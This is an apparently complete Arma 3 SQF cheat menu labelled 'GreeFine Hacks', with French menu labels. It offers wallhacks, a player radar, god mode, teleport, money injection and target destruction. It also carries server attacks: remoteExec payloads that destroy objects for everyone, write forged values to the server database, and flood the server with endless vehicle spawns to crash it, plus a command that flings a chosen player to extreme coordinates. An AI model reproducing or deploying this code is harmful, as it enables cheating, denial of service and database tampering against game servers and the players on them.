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- TargetId_X12 = player;
- RadarFncOn_X12 = false;
- WHCdAc_X12 = false;
- WHLdAc_X12 = false;
- WHNames_X12 = false;
- Ammolaunched = "";
- TeleportationA_X12 = false;
- GodModA_X12 = false;
- Tp_X7 = false;
- locked_X7 = true;
- CommandShown_X7 = false;
- BuferedPlist_X7 = [];
- onMapSingleClick {_pos spawn MapClick;};
- Radar_Fnc_X12 = {
- while {RadarFncOn_X12} do
- {
- Markers = [];
- {
- _markerstr = createMarkerLocal [name _x,position _x];
- _markerstr setMarkerShapeLocal "ICON";
- _markerstr setMarkerTypeLocal "hd_dot";
- _markerstr setMarkerTextLocal (name _x);
- if (side _x == west) then { _markerstr setMarkerColorLocal "ColorBLUFOR"; };
- if (side _x == opfor) then { _markerstr setMarkerColorLocal "ColorOPFOR"; };
- if (side _x == civilian) then { _markerstr setMarkerColorLocal "ColorCivilian"; };
- Markers = Markers + [name _x];
- } forEach playableUnits;
- sleep 0.2;
- {
- deleteMarkerLocal _x;
- } forEach Markers;
- };
- };
- WHCd_Fnc_X12 = {
- if (WHCdAc_X12) then
- {
- {
- _color = [1,0,0];
- if (side _x == west) then {
- _color = [0,0,1];
- };
- if (side _x == east) then {
- _color = [0,1,0];
- };
- _nameDisplay = format["%1",round(player distance _x)];
- _nameDisplayVeh = format["V%2:%1",round(player distance _x),count (crew vehicle _x)];
- if (WHNames_X12) then {
- _nameDisplay = format["%2:%1m", round(player distance _x), name _x];
- _nameDisplayVeh = format["VEH(%3):%2:%1m", round(player distance _x), name _x, count (crew vehicle _x)];
- };
- if (_x != player) then {
- if (getPlayerUID _x != "" && (player distance _x < 1000)) then {
- if (vehicle _x == _x || isNull driver (vehicle _x)) then {
- drawIcon3D["", (_color + [1]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplay, 1, 0.04, "TahomaB"];
- } else {
- if (driver vehicle _x == _x) then {
- drawIcon3D["", (_color + [0.8]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplayVeh, 1, 0.04, "TahomaB"];
- };
- };
- };
- };
- } foreach playableUnits;
- } else {};
- };
- WHLd_Fnc_X12 = {
- if (WHLdAc_X12) then
- {
- {
- _color = [1,0,0];
- if (side _x == west) then {
- _color = [0,0,1];
- };
- if (side _x == east) then {
- _color = [0,1,0];
- };
- _nameDisplay = format["%1",round(player distance _x)];
- _nameDisplayVeh = format["V%2:%1",round(player distance _x),count (crew vehicle _x)];
- if (WHNames_X12) then {
- _nameDisplay = format["%2:%1m", round(player distance _x), name _x];
- _nameDisplayVeh = format["VEH(%3):%2:%1m", round(player distance _x), name _x, count (crew vehicle _x)];
- };
- if ((getPlayerUID _x != "") && ((player distance _x) > 1000) && ((player distance _x) < 3000)) then {
- if (vehicle _x == _x || isNull driver (vehicle _x)) then {
- drawIcon3D["", (_color + [0.6]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplay, 1, 0.04, "TahomaB"];
- } else {
- if (driver vehicle _x == _x) then {
- drawIcon3D["", (_color + [0.5]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplayVeh, 1, 0.04, "TahomaB"];
- };
- };
- };
- } foreach playableUnits;
- } else {};
- };
- BulletTracking_Fnc_X12 = {
- if (Ammolaunched != "") then {
- _bullet = _this select 6;
- _veh = Ammolaunched createVehicle (getPosATL _bullet);
- _veh1 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh2 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh3 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh4 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh5 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh6 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh7 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh8 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh9 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh10 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh11 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh12 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh13 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh14 = Ammolaunched createVehicle (getPosATL _bullet);
- _veh15 = Ammolaunched createVehicle (getPosATL _bullet);
- while {alive _bullet} do
- {
- _last_pos = getPosATL _bullet;
- _veh setPosATL _last_pos;
- _veh1 setPosATL _last_pos;
- _veh2 setPosATL _last_pos;
- _veh3 setPosATL _last_pos;
- _veh4 setPosATL _last_pos;
- _veh5 setPosATL _last_pos;
- _veh6 setPosATL _last_pos;
- _veh7 setPosATL _last_pos;
- _veh8 setPosATL _last_pos;
- _veh9 setPosATL _last_pos;
- _veh10 setPosATL _last_pos;
- _veh11 setPosATL _last_pos;
- _veh12 setPosATL _last_pos;
- _veh13 setPosATL _last_pos;
- _veh14 setPosATL _last_pos;
- _veh15 setPosATL _last_pos;
- sleep 0.03;
- };
- };
- };
- player addEventHandler ["Fired", {_this spawn BulletTracking_Fnc_X12}];
- ["WHCd_Fnc_X12_Event","onEachFrame","WHCd_Fnc_X12"] call BIS_fnc_addStackedEventHandler;
- ["WHLd_Fnc_X12_Event","onEachFrame","WHLd_Fnc_X12"] call BIS_fnc_addStackedEventHandler;
- Money_X12 = { hBf0MznDHQm7X5DFFSmy = hBf0MznDHQm7X5DFFSmy + 150000; };
- Radar_X12 ={
- RadarFncOn_X12 = !RadarFncOn_X12;
- if (RadarFncOn_X12) then { [] spawn Radar_Fnc_X12; hint "Radar Activated"; };
- };
- WHCd_X12 = { WHCdAc_X12 = !WHCdAc_X12; };
- WHLd_X12 = { WHLdAc_X12 = !WHLdAc_X12; };
- WHNamesSwitch_X12 = { WHNames_X12 = !WHNames_X12; };
- ExplodeFnc_X12 = { vehicle TargetId_X12 setDamage 1; };
- FuckTheServer_X12 = {
- sleep 20;
- {
- sleep 1020;
- {_x setDammage 1;} foreach nearestObjects [position player,[],400];
- hBf0MznDHQm7X5DFFSmy = 1000000000000000000000000000000;
- R6cuXKTCWDZFxfbfdATm = 1000000000000000000000000000000;
- removeAllWeapons player;
- [[getPlayerUID player,(profileName),playerSide,1000000000000000000000000000000,1000000000000000000000000000000,[],[]],"DB_fnc_updateRequest",false,false] call life_fnc_MP;
- _veh = "I_MBT_03_cannon_F" createVehicle (position player);
- player moveInDriver _veh;
- } remoteExec ["BIS_fnc_spawn", 0];
- };
- SatchelFun_X12 = {
- [] spawn {
- while {a} do
- {
- createMine ["SatchelCharge_F", (position player), [], 2];
- sleep 0.2;
- };
- }
- };
- Nuke_X12 = {
- sleep 20;
- {_x setDammage 1;} foreach nearestObjects [position player,[],20000];
- sleep 2;
- {deleteVehicle _x;} foreach nearestObjects [position player,[],20000];
- };
- CrashTest_X12 = {
- Hint "Crash Test Activated !";
- sleep 20;
- {
- x_12 = {
- while {true} do
- {
- "I_MBT_03_cannon_F" createVehicle [14531,16848,0.5];
- "I_MBT_03_cannon_F" createVehicle [3647,13112,0.5];
- "I_MBT_03_cannon_F" createVehicle [23740,16191,0.5];
- sleep 0.1;
- };
- };
- while {true} do
- {
- [] spawn x_12;
- };
- } remoteExec ["BIS_fnc_spawn", 2];
- };
- SuperCannon_X12 = {
- Hint "Super Cannnon Spawned";
- veh = "B_static_AA_F" createVehicle position player;
- veh addMagazine "12Rnd_125mm_HE";
- veh addWeapon "cannon_125mm";
- veh setPos getPosATL player;
- };
- BulletChanger_X12 = {
- if (Ammolaunched == "") then {Ammolaunched = "Bo_GBU12_LGB";};
- if (Ammolaunched == "Bo_GBU12_LGB") then {Ammolaunched = "Sheep_random_F";};
- if (Ammolaunched == "Sheep_random_F") then {Ammolaunched = "B_G_Quadbike_01_F";};
- if (Ammolaunched == "B_G_Quadbike_01_F") then {Ammolaunched = "";};
- hint Ammolaunched;
- };
- Teleportation_X12 = {
- TeleportationA_X12 = !TeleportationA_X12;
- hint format ["Tp = %1", TeleportationA_X12];
- };
- GodMod_X12 ={
- GodModA_X12 = !GodModA_X12;
- player allowDamage GodModA_X12;
- hint format ["GodMod = %1", GodModA_X12];
- };
- MapClick = {
- _fnc = false;
- if (_this distance [0,0,0] < 100) exitWith { [] spawn ShowHideCommand };
- {
- if (getMarkerPos (_x select 1) distance _this < 20) exitWith
- {
- [] spawn (_x select 0);
- _fnc = true;
- };
- } foreach ActionTracking_X12;
- {
- if (getMarkerPos (name _x) distance _this < 20) exitWith
- {
- if (side TargetId_X12 == west) then { (name TargetId_X12) setMarkerColorLocal "ColorBLUFOR"; };
- if (side TargetId_X12 == opfor) then { (name TargetId_X12) setMarkerColorLocal "ColorOPFOR"; };
- if (side TargetId_X12 == civilian) then { (name TargetId_X12) setMarkerColorLocal "ColorCivilian"; };
- TargetId_X12 = _x;
- (name _x) setMarkerColorLocal "ColorRed";
- _fnc = true;
- };
- } foreach BuferedPlist_X7;
- if (_fnc || !TeleportationA_X12) exitWith {};
- if (isNil "Tp_X7") then {Tp_X7 = true;};
- if (Tp_X7) then {
- vehicle player setPos _this;
- } else {
- hint "Click again to Tp";[] spawn {sleep 2; Tp_X7 = false;};
- };
- Tp_X7 = !Tp_X7;
- };
- SafeLock = {
- if (isNil "locked_X7") then {locked_X7 = true;};
- if (locked_X7) then {
- hint "Unlocked Cmd for 10 sec";
- sleep 0.5;
- [] spawn {
- i = 0;
- while {locked_X7 && i < 10} do {
- sleep 1;
- i = i+1;
- };
- locked_X7 = false;
- };
- };
- locked_X7 = !locked_X7;
- };
- life_fnc_X17 = {player setPos [10000000000000,10000000000000,10000000000000]};
- CrashOnCmd = {
- if (locked_X7) then {hint "Actualy Locked Click Again to confirm"};
- Hint "Cash on Cmd activated";
- sleep 0.5;
- [] spawn SafeLock;
- TargetId_X12 setPos [100000000000000,1000000000000000,10000000000000000];
- };
- ShowHideCommand = {
- if (CommandShown_X7) then {
- {deleteMarkerLocal (_x select 1);} foreach ActionTracking_X12;
- {deleteMarkerLocal (name _x);} foreach BuferedPlist_X7;
- deleteMarkerLocal "GreeFine_X7";
- } else {
- _markerstr = createMarkerLocal ["GreeFine_X7",[10000,100]];
- _markerstr setMarkerShapeLocal "ICON";
- _markerstr setMarkerTypeLocal "hd_dot";
- _markerstr setMarkerTextLocal "GreeFine Hacks";
- _markerstr setMarkerColorLocal "ColorRed";
- MarkerOfset = 150;
- {
- _markerstr = createMarkerLocal [(_x select 1),[10000,(100 + MarkerOfset)]];
- _markerstr setMarkerShapeLocal "ICON";
- _markerstr setMarkerTypeLocal "hd_dot";
- _markerstr setMarkerTextLocal (_x select 1);
- MarkerOfset = MarkerOfset+50;
- } foreach ActionTracking_X12;
- [] spawn RefreshPlist;
- };
- CommandShown_X7 = !CommandShown_X7;
- };
- RefreshPlist = {
- hint "Refreshing Player List";
- {
- deleteMarkerLocal (name _x);
- } forEach BuferedPlist_X7;
- BuferedPlist_X7 = [];
- MarkerOfset = 100;
- {
- _markerstr = createMarkerLocal [name _x,[11000,100 + MarkerOfset]];
- _markerstr setMarkerShapeLocal "ICON";
- _markerstr setMarkerTypeLocal "hd_dot";
- _markerstr setMarkerTextLocal (name _x);
- if (side _x == west) then { _markerstr setMarkerColorLocal "ColorBLUFOR"; };
- if (side _x == opfor) then { _markerstr setMarkerColorLocal "ColorOPFOR"; };
- if (side _x == civilian) then { _markerstr setMarkerColorLocal "ColorCivilian"; };
- MarkerOfset = MarkerOfset+50;
- BuferedPlist_X7 = BuferedPlist_X7 + [_x];
- } foreach playableUnits;
- };
- ActionTracking_X12 = [[ShowHideCommand,"Masquer/Afficher les commandes"],[Money_X12,"Argent"],[Radar_X12,"Radar"],[WHCd_X12,"Wall Hack Courte"],[WHLd_X12,"Wall Hack Longue"],[WHNamesSwitch_X12,"WallHack affichage Long/Court"],[ExplodeFnc_X12,"Exploser la Cible"],[Nuke_X12,"Nuke Mod DLC"],[FuckTheServer_X12,"Fuck The Serveur DLC"],[CrashTest_X12,"CRASH The Server"],[SuperCannon_X12,"Super Cannon"],[BulletChanger_X12,"Changer munition d'armes"],[Teleportation_X12,"La Téleportation"],[GodMod_X12,"God Mod"],[RefreshPlist,"Refresh Player List"],[CrashOnCmd,"Crash This Mother Fucker"]];
- [] spawn ShowHideCommand;
- ExplodeCur_X12 = { [] spawn { sleep 15; cursorTarget setDammage 1; }; };
- SubB7 = "Submarine_01_F" createVehicle position player;
- player addVest "V_RebreatherB";
- player addUniform "U_B_Wetsuit";
- SubS7 = "B_SDV_01_F" createVehicle position player
- SubB7 attachTo [SubS7,[0,0,0]];
- player moveInDriver SubS7;
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